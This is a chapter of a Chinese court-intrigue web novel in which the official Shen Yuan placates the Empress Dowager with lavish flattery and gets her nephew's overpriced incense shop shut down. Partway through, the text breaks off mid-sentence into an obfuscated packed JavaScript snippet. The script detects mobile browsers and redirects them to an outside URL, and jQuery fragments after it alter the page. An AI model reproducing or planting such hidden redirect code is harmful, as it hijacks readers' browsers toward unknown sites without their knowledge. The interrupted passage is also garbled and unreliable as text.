“迷魂香……”


    李公公那张煞白的脸，在我脑子里晃了一下。


    这东西厉害在它是个忌讳。


    能弄到这玩意的，要么是把脑袋别在裤腰带上的亡命徒，要么就是这四九城里根基深不可测的主。


    我把那半截香用油纸细细裹好，顺手塞进袖口的暗袋里。


    前世跟一位专给死人画脸的老师傅学过几天手艺，这香料的方子刁钻得很，其中一味主料，说是只长在皇陵那片常年不见光的阴湿地里。


    点着了味儿淡，却能叫人神思恍惚，心里防线薄得跟纸似的，问什么说什么。


    上辈子拿它对付过几个嘴硬的掌柜，没成想这辈子倒成了手里的一张底牌。


    “大人，宫里来人了，说是太后娘娘传您即刻去慈宁宫。”


    张三的声音在门外响起来，听着有些发紧。


    我理了理袖口并不存在的褶皱，心里盘算着时辰。


    “慌什么。”


    我也有一份大礼，得给太后娘娘送过去。


    我冲书架那头抬了抬下巴。


    “去，把那东西取来。路上捧好了，得让这满大街的人都瞧清楚，咱们是揣着一片‘孝心’进宫的。”


    张三依言取下那个锦布包袱，入手大概是沉了些，他手腕往下坠了坠。


    解开一角，露出一本装帧极考究的书册，封皮上金丝线绣的几个篆字在日头下有些晃眼。


    《历代节俭太后传》。


    张三愣了愣，那眼神从疑惑变成了某种难以言喻的敬畏。


    他大概是觉得我又在布什么惊天迷局。


    其实哪有那么玄乎。


    想让一个人听话，要么让她怕你，要么就让她自个儿钻进你给她量身定做的套子里，还觉得那是个安乐窝。


    慈宁宫今日这气氛，有些沉。


    宫门口站班的太监宫女，一个个恨不得把脑袋缩进腔子里，连喘气声都压得极低。


    我刚在宫门外站定，昨日还不可一世的李公公便迎了出来。


    换了身不起眼的青袍子，脸上堆出来的笑纹看着有些僵硬。


    “沈大人，您可算来了。太后娘娘正念叨您呢。”


    他腰弯得有些低，眼珠子却不受控制地往我袖口上溜。


    我佯作不知，抬手掸了掸衣领上的灰。


    “公公，这宫里的熏香倒是雅致，就是闻久了容易犯困，不如有些老物件来得提神。”


    李公公眼皮子猛地跳了两下，脸上的笑意差点没挂住。


    他没敢接茬，只是侧身做了个请的手势。


    张三捧着那本明黄锦缎包着的书，跟在我身后，腰杆挺得笔直。


    这颜色在宫里除了主子没人敢用，一路上引得不少宫人侧目。


    进了正殿，地龙烧得有些旺，一股子暖香直往鼻子里钻。


    脚下是厚实的波斯地毯，踩上去没半点声响。


    太后娘娘端坐在紫檀木雕花的宝座上，一身凤袍，珠翠满头，面上看着波澜不惊，可那双丹凤眼微微眯着，透着股子让人不自在的寒意。


    殿中央跪着个人，正是那位福运香坊的东家，郭小侯爷。


    这会儿正一把鼻涕一把泪地哭诉，瞧见我进来，那哭声陡然拔高了个调门，眼神要是能杀人，我怕是已经死了好几回。


    “姑母！就是他！就是这个沈怨，平白无故封了侄儿的铺子！还……还抢了侄儿的账本！”


    我没搭理他，依着规矩走到殿中，对着上首行了大礼。


    “臣，户部左侍郎沈怨，参见太后娘娘。”


    太后没叫起。


    她端起手边的茶盏，用杯盖轻轻撇着面上的浮沫，瓷器碰撞发出轻微的脆响。


    “沈侍郎，哀家听说，你把郭儿的铺子给封了？”


    声音不大，却带着股常年发号施令的威压。


    “回太后，确有此事。”


    我直起身子，没抬头。


    “好大的胆子。”


    太后手里的茶盏重重磕在小几上，茶水溅出来几滴。


    “郭家的生意，那是先帝爷当年点头允了的。你一个侍郎，说封就封，眼里还有没有哀家，还有没有大周的律法？”


    郭小侯爷见有了撑腰的，哭得更来劲了，仿佛受了天大的冤屈。


    我却像是没听出太后话里的火气，反而抬起头，脸上露出一丝恰到好处的激昂。


    “太后娘娘息怒！臣这么做，全是为了维护太后您的清誉，为了彰显您的万世贤名啊！”


    这话一出，殿里的空气像是凝固了一瞬。


    太后那张紧绷的脸，似乎也出现了一刹那的错愕。


    郭小侯爷的哭声卡在嗓子眼里，像只被掐了脖子的鸡，忘了下一句该怎么嚎。


    我不给他们回过味儿的机会，转身从张三手里接过那本书册，高高举过头顶。


    “太后娘娘请看！这是臣遍览史书，耗费数月心血，特意为您编纂的《历代节俭太后传》！”


    “臣夜观天象，见紫微星旁有瑞星闪烁，便知我大周将出一位流芳百世的贤后！臣翻遍典籍，孝文窦后衣不曳地，长孙皇后饰不用金玉。她们的德行固然光耀千古，可臣私以为，她们的节俭，多多少少是做给天下人看的！”


    我往前膝行一步，声音越发恳切，眼神里透着股子近乎狂热的崇敬。


    “唯有太后娘娘您！您才是真正将‘节俭’二字刻入了骨髓，润物细无声！”


    “您嘴上说着要用福运香坊的香，那是为了照顾娘家亲戚的体面。可臣一查账，才惊觉娘娘您的良苦用心！”


    我痛心疾首地指向一旁发懵的郭小侯爷。


    “福运香坊的香，价高市价十倍有余！这等奢靡之物，若是打着您的旗号大行其道，岂不是往您这节俭爱民的清誉上泼脏水？臣斗胆揣测，娘娘您让郭小侯爷定下这等‘天价’，本意就是想让百官望而却步，逼着他们去买那些价廉物美的寻常香料，从而为国库节省开支！”


    “这等深意，这等曲线救国的智慧，古往今来，谁人能及？窦后、长孙，亦远不及娘娘您用心之万一啊！”


    大殿里静得有些吓人。


    郭小侯爷张大了嘴，彻底傻了眼。


    他那不太灵光的脑瓜子估计怎么也想不明白，自己明码标价地捞银子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337951|197673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，怎么到了我嘴里，就成了姑母“曲线救国”的棋子？


    太后的脸色更是精彩。


    青一阵，白一阵，像是开了染坊。


    这马屁拍得太狠，太刁钻。


    既让她浑身舒坦，又像是把她架在火上烤，让她下不来台。


    我将书册恭敬地递给一旁候着的李公公。


    “公公，务必呈给太后娘娘过目。书里还记了臣的一点拙见。臣发现太后平日用的器皿，虽是官窑上品，却数年未换。这也是娘娘节俭的铁证！您这是在告诉世人，器物之用在于顺手，不在新旧。此等境界，已然超凡入圣！”


    我看着太后，眼神诚挚得像是看着一尊活菩萨。


    “所以，臣斗胆封了福运香坊，正是为了斩断那些企图借您名义敛财、败坏您声誉的宵小之徒！臣要让全天下人都晓得，我大周的太后，是古往今来，勤俭节约的第一人！您的心里，只装着江山社稷，装着黎民百姓！”


    说到最后，我撩起衣袍，对着太后重重叩首，额头触地，发出沉闷的声响。


    “臣所作所为，皆为太后贤名！若有僭越，臣，万死不辞！”


    死寂。


    长久的死寂。


    太后的胸口剧烈起伏着，她盯着我，眼神复杂到了极点。


    有愤怒，有惊疑，甚至还有一丝她自己都没察觉的……荒谬感。


    她想发作，可找不到由头。


    难道她要当着满殿宫人的面说，哀家就是喜欢奢侈，就是要扶持娘家侄子捞钱？


    那她几十年苦心经营的“仁德贤良”形象，顷刻间就会崩塌。


    可若是认了……


    她看了一眼地上还在发呆的侄子，心头大概是在滴血。


    那可是白花花的银子，是郭家的摇钱树啊。


    许久，殿内才响起一声轻微的瓷器碰撞声。


    太后重新端起了那杯已经凉透的茶，抿了一口。


    “沈爱卿……有心了。”


    声音干涩沙哑，像是从嗓子眼里硬挤出来的。


    “郭儿年幼无知，行事不端，确实有负哀家教诲，更玷污了皇家颜面。”


    郭小侯爷猛地抬头，不可置信地看着自己的姑母，嘴唇哆嗦着想喊冤。


    太后却连个眼神都没给他，只是死死盯着我，目光冷得像冰碴子。


    “来人。”


    “将郭华押入宗人府，听候发落。”


    “福运香坊……所有违规所得，尽数充入国库。此事，就按沈爱卿的意思办。”


    处理完这一切，她像是被抽去了精气神，疲惫地挥了挥手。


    “你，很好。”


    她看着我，一字一顿。


    “哀家这辈子，还没见过像你这么‘忠心’的臣子。”


    我再次叩首谢恩，缓缓起身，准备告退。


    这场戏唱完了，我也该收场了。


    就在我转身即将迈出殿门的那一刻，太后清冷的声音再次从背后传来，带着几分不易察觉的试探。


    “沈怨。”


    我脚步一顿。


    “哀家听李安说，你身上，带着宫里的禁物？”